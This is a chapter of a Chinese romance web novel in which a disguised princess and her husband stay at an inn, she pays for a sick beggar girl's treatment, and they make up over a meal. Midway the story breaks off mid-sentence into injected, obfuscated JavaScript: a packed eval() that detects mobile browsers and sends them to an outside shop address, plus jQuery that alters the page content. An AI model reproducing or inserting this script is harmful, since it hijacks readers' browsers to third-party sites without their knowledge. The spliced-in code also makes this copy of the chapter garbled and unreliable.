明满醒来时,自己的十根手指都被包扎好了,岑淮端着饭菜进来,道:“醒了,吃饭吧。”
有鸡汤,竹笋,肉夹馍……明满咽了咽口水,问道:“你怎么每次都能变出好吃的来?”
这个客栈还是她抵了条发带,又求了掌柜很久才换来住两晚的,岑淮又是哪里来的钱?
“你不会,将玉簪卖了吧?”
“身外之物而已。”
“卖了多少钱?”
“五十两。”
明满:“那个玉簪,不可能只值五十两,你肯定被人坑了,我找他们说理去!”
“毕竟是我戴过的,价钱自然会低。况且五十两虽不算多,但也足够我们回安都了。”
“你怎么这么舍得?我看你若成了家主,定也是个败家的。”
“要让你失望了,岑家在我手里,是不会败落的。”岑淮望着气鼓鼓的少女,又温声劝道,“好了,吃东西吧。”
明满伸着十根被裹成包子的手指:“你给我弄成这样,叫我怎么拿筷子?”
岑淮托起碗底,舀起一勺粥,吹了吹,递到她嘴边,道:“吃完我们就得离开了。”
明满咬住唇边的粥:“为什么?”
“我方才打听了,此处是清远郡,清远王与陛下向来不合,不知与临县山匪和前朝之人是什么关系,还是尽早离开为好。”
明满刚甜起来的心嘎巴就冷下去了:“你了解清远王吗,为何说这样的话?”
“我只是猜测,毕竟临县与清远郡比邻而居,临县发生这么大的事,清远王难道一点都不知情?”
“你怎么知道他不知情,但他敢跟陛下说朝政之事吗?王爷每年寄往安都的书信,都只敢说王妃和小郡主,因着大郡主嫁给了草原王,他都不敢多说大郡主的事,怕引起猜忌。”明满替自己父王抱不平,“而且临县是三个州郡汇集之地,你既然怀疑清远郡,怎么不怀疑怀疑垣康郡还有南圳郡?”
说罢,明满才意识到自己话多了:“我就是觉得,你这样无端猜测,不对。”
“你说的也有理,此话确实欠妥。”岑淮知道妻子曾在王府住过一段时间,又与嘉禾郡主是至交好友,向着清远王也无可厚非,便没多想,他拿出刚换完的银子,给了明满三十两,自己拿剩下的十几两。
明满不信任岑淮:“你那十几两,不如也给我保管吧。”
岑淮:“不行。”
“你不给我保管的话,我的钱就不给你花了,咱俩自己花自己的。”明满赌气道,在王府时,钱都是母妃管的,父王都不敢藏私房钱。
“好。”
岑淮痛快答应,明满也不好再说什么,她忽然倾身,围着岑淮左闻闻右闻闻,鼻子一皱一皱的。
岑淮抵着她脑袋,失笑道:“干什么?”
“你身上血腥味还挺重的。郎中都说了,你伤的不轻,不如再休息一晚,免得路上你再晕倒了。”
岑淮沉吟,若他晕倒,妻子一个弱女子,定会有危险,便应了下来。
.
岑淮与明满简单交代了下行程,万一二人走散,她自己也能沿着安全的路线回安都。他说完便躺在床上,说要睡一会,可这一会便是一整日。
明满知道他是体力不支昏睡过去,一步也不敢离开,她连窗户都不敢打开,生怕吵到岑淮睡觉。
可外面栗子糕的叫卖声还是透过窗户传了进来。
这是她最喜欢吃的糕点,安都做的栗子糕都没有清远郡的味道,她馋了好久。
明满摸着下巴想,她买完糕点马上就回来,应该不碍事。而且岑淮也喜欢吃糕点,她买两份,正好!
她高高兴兴地出了客栈,见卖栗子糕的铺子前挤满了人,心道这家一定好吃,她今日有口福了。
“大娘,求求你,给我一点钱吧,我以后定会报答你,我妹妹要死了。”
“大伯,您看您,长的这么有福气,救人一命,胜造七级浮屠啊。”
“大婶,您……”
铺子边,一黑瘦男童跪在地上讨钱,他身边躺着个同样黑瘦的小姑娘,只是小姑娘面色枯黄,像是要死了,只剩下微弱的喘气声。
明满皱了皱眉,她看了眼自己手里的钱,就要过去,却被旁边的大娘拉了下:“小娘子,我劝你别乱发善心。这个小孩以前带着他妹妹偷东西,这是被人逮住打折了腿才乞讨的,而且这群小叫花子,心眼子多着呢,谁知道这小姑娘是真的要死了还是假的要死了。”
正想着,一队官兵来了,看着街边小摊小贩便上去掀,说明日有大人物要来,这条街都得清理出来。
男童哭着磕头,说自己妹妹真的要死了,想要讨点钱给妹妹治病。
官兵不耐烦了,一脚踢了上去,男童呕出口血,却还是哭着求他。
“他还是个孩子,你怎么能这么踢他?”明满冷眼看着官兵,道,“你要是再敢动手,我就在这里闹,万一你口中的那个大人物注意到了你,小心你的命!”
明满虽布衣荆钗,可这气质谈吐,一看就不是普通人家的姑娘,官兵不愿惹事,只说她要是有本事,就管管这些孩子,赶紧离开这里,否则别怪他们不客气。
明满哼了声说管就管,抱起地上的小姑娘,领着男童到了医馆前。
她数出十枚铜板,道:“要是你妹妹真的病了,我带她进去治病,药钱和请郎中的钱都我给,但我一分钱都不会给你;若你妹妹无病,我便不管你们了,给你十个铜板,你拿了带妹妹走。选吧。”
男童马上跪在地上磕了两个响头:“多谢恩人给我妹妹治病!”
他还要磕第三个,却被明满拦下:“又不是上坟,不用磕那么多。”
她带小姑娘进去治病,郎中说小姑娘是小儿急惊风,是受了很大的惊吓所致,不算难治,但几副药下来,需要将近二十九两银子。
明满给银子的时候都有点肉疼,但一想,这是清远郡的子民,她身为清远郡的郡主,理应承担起这份责任。
还什么明日将要来大人物清理街道?若让她知道是谁这么草菅人命,定会在父王面前狠狠骂上两句
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17065170|191464||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
!
明满走时,还默默地算了算手里的银子,马车和客栈可以蹭岑淮的,只是确实不好意思再找岑淮要钱买吃的了。她巴巴地望了眼卖栗子糕的铺子,转身买了五文钱一大张的饼子,这种饼子特别硬,但也很耐饿,能吃好久。
她坐在大堂里,拿从萧易家里顺出来的菜刀将饼子分成了十多块,拿出三块,再找掌柜的要了碗热水,将饼子泡在里面,好歹能充饥。
掌柜还疑惑,说与她一起的那位郎君叫了很多吃食,为何她却吃饼子泡热水?
明满:“我就爱吃这种饼子。”
掌柜:“小娘子的口味还挺特别。”
明满苦笑,其实她只是听从前教她武功的师父说起过,行走江湖之人大多富一阵穷一阵,穷的时候就买这种饼子吃,可师父却没说过,这饼子这么难啃,她牙都快咬出血来了,才啃下来一点点。
明满生无可恋地想,她一定要写信给父王,让他多建几个育儿堂,不至于让那些孩子无家可归,更不至于让她花光了钱救人自己在这里啃饼子。
一碗蛋花汤忽然被端在了明满眼前,还有只八宝鸡和腌萝卜,她抬头,看见外头昏黄的阳光照在岑淮清俊的脸上,他绷着脸,道:“你是在闹别扭吗?”
“啊?”
“路上艰难,万一你我走散,我也好有银钱傍身,所以才不让你管那十几两。若觉得不满,你可与我再商量,但不至于吃这种东西折腾自己。”
“我没有耍脾气。”明满闷声闷气地把二十九两的药钱与岑淮说了。
岑淮语气缓和许多:“为何不与我说此事?十几两虽不算多,总还是够你我花的。”
明满头都要埋到碗里了:“我说你败家,结果我一下子给出去二十九两,我不好意思再找你要钱了。而且这钱是我自己要给的,跟你没关系,凭什么让你跟着我吃苦?”
“若我在,也会救那个小姑娘的。所以你给出的钱,有我的一半。”岑淮道,“这本就是应该共同承担的事,你不必只揽在自己身上,而且,你做的是好事。”
明满得意洋洋地翘起尾巴:“那你是不是得夸夸我,我舍己为人,救了条人命。”
“是,比我厉害。”岑淮眼中却有一闪而过的落寞。
明满从李不渡那里知道,岑淮本来可以逃出来,但却为了救那个姑娘折返回去,不过到最后也没救出来,想必他是挺受打击的。
“我觉得,她解脱了。”少女轻声笑起来,“岑少卿,你也很厉害哦,勉勉强强与跟我一样厉害。”
热汤的水汽扑在她脸上,长长的睫毛挂着几滴小水珠,脸红红的,唇边的酒窝又醉又迷人。
她问道:“你怎么一直盯着我看,是不是我长得太漂亮了,迷住你了?”
岑淮:“你长得——”
明满期待地看着他。
“挺喜庆的。”
“你这什么形容,什么叫喜庆,我是灯笼吗?”
岑淮没有回答。
但他想,喜庆大概就是,一看见她,就开心了。